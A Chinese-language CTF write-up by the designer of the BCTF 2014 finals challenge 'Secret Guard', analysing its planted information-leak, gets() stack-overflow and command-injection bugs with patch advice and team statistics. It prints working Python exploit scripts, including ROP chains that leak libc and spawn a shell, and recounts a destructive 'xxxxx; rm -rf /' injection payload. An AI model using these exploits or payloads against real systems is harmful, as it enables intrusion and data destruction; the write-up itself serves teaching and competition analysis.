From Zero To X

zTrix's Blog

BCTF 2014 决赛题 - Secret Guard 回顾与分析

by Wenlei Zhu (zTrix@blue-lotus)

secret-guard 作为 BCTF 2014 决赛中最简单的一道 binary 题目,设计目标为,能够在放出后 4 个小时左右被各队逐渐解出,达到一波得分高潮。漏洞设置方面,设置了 3 个不同类型的简单漏洞,分别属于信息泄露、栈溢出和命令注入,期望是各个队伍发现不同的漏洞,达到互有攻防,反复抢占阵地的激烈效果。

根据比赛的实际情况来看,题目足够简单,作为最简单的 binary 题目,4 个小时内被解出的目标完成了,但是没有想到的是,在很长的一段时间内,只有 HITCON 217 一个队伍解出这道简单题目,并且只利用了其中命令注入的最简单漏洞。赛后的交流得知,开始时很多人以为每个题目只有一个漏洞,于是找到漏洞之后,就去看别的题目了,没有再仔细研究这个题目。另外,不知道是由于此题攻击流量分析较为困难还是各个队伍经验较少的原因,所有其他队伍一直处于被打状态而没有及时修补,导致得分差距太大,所以总体感觉甚为惋惜,花费心思设置的各个漏洞和坑点大家都没有遇到,也没有达到预期的效果。

关于这题的一些统计信息

队伍 攻击次数 被攻击次数
HITCON 217 716 0
0ops 379 12
DISA 307 79
Light4Freedom 229 575
Pax.Mac Team 197 91
Sigma 137 86
我是狗汪汪 87 661
无名 284 116

总体服务状态

  • 1 – down
  • 31 – error
  • 1597 – ok

漏洞分析

首先要看懂程序逻辑,作为 secret guard,它打开的第一个秘密文件其实就是 flag 文件。并且将 flag 的前一半作为 secret key。每次连接服务,可以给一个随机数种子,然后获得 secret key 中的一个 byte。

随后,程序会向用户询问 16 个关于 secret key 的问题,如果全部答对,才能得到 access 权限。

取得权限之后,用户可以输入一个 pid,然后程序会调用 lsof 命令,打印出这个 pid 打开的秘密文件有哪些。

漏洞一 – 任意信息泄露漏洞

首先,随机数种子确定的时候,随机数的序列是固定的。因此很容易找到一个序列,让他们作为随机种子之后,随机得到 0 1 2 … 15 的序列。有了这个序列之后,是可以轻松获得 flag 的前面一半的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# http://github.com/zTrix/zio
from zio import *

def get_char(p):
    io = zio((host, port), print_write = COLORED(REPR))
    io.read_until('sneak peek')

    io.writeline(p)
    io.read_until('here: ')
    line = io.readline().strip()
    io.readline()
    io.close()
    return line

def get_flag_first_half():
    tbl = [12, 65, 22, 9, 36, 7, 18, 1, 8, 17, 2, 5, 16, 4, 23, 10]

    half = []
    for s in tbl:
        half.append(get_char(str(s)))

    return ''.join(half)

仔细分析可以发现,0x401480(sneak_peek) 这个函数是有溢出漏洞的,除了 \r \n 之外,可以覆盖其他任意字符到栈上高位。但是这个函数有 stack canary 保护,因此没法直接利用 return address 来控制 EIP。不过这个 stack frame 内部的变量是可以任意覆盖的,只要变量的地址在 buf 和 canary 之间。进一步分析,可以发现,获取随机种子之后,程序会打印出栈上某个指针所指字符串的一个字母,而这个指针是可以覆盖的。

原始代码如下,也就是下面的 big_secret 是可以覆盖的,于是可以直接把这个变量覆盖成 flag_bss,从而泄漏一个字节。总共 32 次就可以泄漏完整的 flag

1
2
3
srand(seed);
p = rand() % len;
printf("Your piece of secret here: %c\n", big_secret[p]);

第一个漏洞的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag_bss = 0x402420

def pwn1():
    flag = []
    for index in range(32):
        ad = flag_bss + index
        seed = 12
        if ad & 0xff in (0xd, 0xa):
            seed = 65
            ad -= 1
        p = str(seed) + ' ' * 14 + l64(16) * 2 + l64(ad)
        flag.append(get_char(p))

    return ''.join(flag)

这个漏洞与 openssl heartbleed 漏洞有几分相似,可以泄漏内存中任意地址信息,每次一个 byte,效率略低,但是对于 flag 来说足够了。

这个漏洞的修补并不困难,buffer 读入的时候,检查一下大于 16 就退出循环即可。

漏洞二 – 栈溢出漏洞

在程序问 16 个问题的函数中,存在第二个漏洞,并且是一个裸的 buffer overflow 漏洞。每次回答问题的输入,会被 gets 函数读入,而 gets 是一个非常危险的函数。

这个漏洞比较简单,直接构造 ROP chain 打印 flag 即可。注意 printf 进入之前需要 al 寄存器设置为 0,否则会崩溃,具体原因没有深究,0x400f10 是一个返回值为 0 的函数,可以用来设置 rax 为 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# http://github.com/zTrix/zio
from zio import *

def pwn2():
    io = zio(target, print_write = COLORED(REPR), timeout = 10000, write_delay = 0)
    io.read_until('sneak peek')
    io.writeline('s')
    io.read_until('to access:')
    io.read_until('?')
    pop_ret = 0x00401a63
    system = 0x400d70
    printf = 0x400c60
    gets = 0x400da0
    scanf = 0x400d40
    strlen = 0x402258
    # io.gdb_hint()
    io.writeline('_' * 16 + 'AAAA' + l64(0x1) + 'A' * 4 + l64(flag_bss) + 'A' * 8 + 'B' * 8 + l64(0x400f10) + l64(pop_ret) + l64(flag_bss) + l64(printf) + l64(scanf))
    io.print_read = REPR
    io.read()
    io.interact()

如果想从这个漏洞拿 shell,就需要泄漏一次地址再跳回程序,利用稍微麻烦一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# http://github.com/zTrix/zio
from zio import *

def pwn3():
    io = zio(target, print_write = COLORED(REPR), timeout = 10000, write_delay = 0)
    io.read_until('sneak peek')
    io.writeline('s')
    io.read_until('to access:')
    io.read_until('?')
    pop_ret = 0x00401a63
    system = 0x400d70
    printf = 0x400c60
    gets = 0x400da0
    scanf = 0x400d40
    strlen = 0x402258
    answer = 0x401710
    init = 0x400f10
    io.writeline('_' * 16 + 'AAAA' + l64(0x1) + 'A' * 4 + l64(flag_bss) + 'A' * 8 + 'B' * 8 + l64(init) + l64(pop_ret) + l64(strlen) + l64(printf) + l64(pop_ret) + l64(flag_bss) + l64(answer))
    io.print_read = REPR
    io.readline()
    io.readline()
    addr = io.read(6)
    strlen_libc = l64(addr.ljust(8, '\x00'))
    libc_base = strlen_libc - 0x81c40
    binsh = libc_base + 1443474
    log('addr = %s, strlen_libc = %x, libc_base = %x, binsh = %x' % (repr(addr), strlen_libc, libc_base, binsh), 'red')
    io.readline()
    # io.gdb_hint()
    io.writeline('_' * 16 + 'AAAA' + l64(0x1) + 'A' * 4 + l64(flag_bss) + 'A' * 8 + 'B' * 8 + l64(pop_ret) + l64(binsh) + l64(system))
    flag = io.readline()
    io.writeline('cat /home/flags/secret-guard/flag; exit;')
    # flag = io.readline()
    flag = io.read()
    io.close()
    return flag

这个漏洞的修补更加简单,直接把 gets 改成 getchar 即可,但是换行可能会吃掉导致逻辑错误,因此可能需要两个 getchar

漏洞三 – 命令注入漏洞

漏洞三就是比赛队伍一直在利用的 shell injection 漏洞。原理和利用都比较简单,这里就不再赘述了。设计这个漏洞的时候,因为太过简单,就把它放在了程序最后,具有一定的隐蔽性。因此可能造成了不少队伍很晚才发现这个漏洞。

当初设计这个漏洞,同时还有两个目的:

  • 纪念 D3AdCa7 童鞋去年 defcon 决赛中,因为写了未加检查的 curl 提交 flag 脚本,因此被别人 flag 中的 xxxxx; rm -rf / 删除了整个系统。好在由于权限原因,重要的个人文件资料并未删除。
  • 提醒大家重视 shell injection,特别是 shell 脚本中,很容易未加检查就信任输入,造成 injection。

比较巧合的事情是,D3AdCa7 童鞋的 defcon 遭遇居然在这次决赛中又重演了,而且,就是在这个我设置了 shell injection 漏洞的地方,本意是提醒大家,结果有的队伍直接修改返回为 xxxxx; rm -rf /,我发现这个问题的时候,立刻过去要求他们去掉,恶作剧一下即可,如果真造成损失就不好了,但是没想到当时就已经有其他队伍中招了,并且是不止一个队员。

不知道中招情况如何,但是感觉题目本意想达到的提醒大家注意 shell injection 漏洞的效果被这次意外完成了,无论是中招的童鞋,还是事后谈论的童鞋,应该都会有所防范吧。

题目总结

总体来看,虽然是一道不难的题目,但是还是花了不少心思来设计的,有些设计目标达到了,但是也很遗憾没有达到预期结果,特别是前面两个漏洞都没有人利用。

题目中还设置了一些坑点,增加题目趣味性

  • 为了防止大家过于容易修改 flag 文件路径,我写了一个山寨 base64 解码得到文件地址。其实和程序逻辑没有什么关系,但是听说有队伍逆向了半天这个 base64,LOL
  • 为了防止大家抓包之后不经分析就直接重放流量,设置了两个障碍
    1. 各队 flag 各不相同,因此同样的流量,不能回答正确 16 个问题
    2. 每次只能获取一个 byte 的信息,因此想回答 16 个问题,至少需要连接 16 次,这样抓包后,攻击流量就会在不同的 TCP stream 中,给分析流量造成一定困难。
  • 另外,ROP chain 的构造中,还有设置 AL 寄存器为 0 的坑,这个不是故意设计的,而是 ABI 方面的坑

题目文件下载

Comments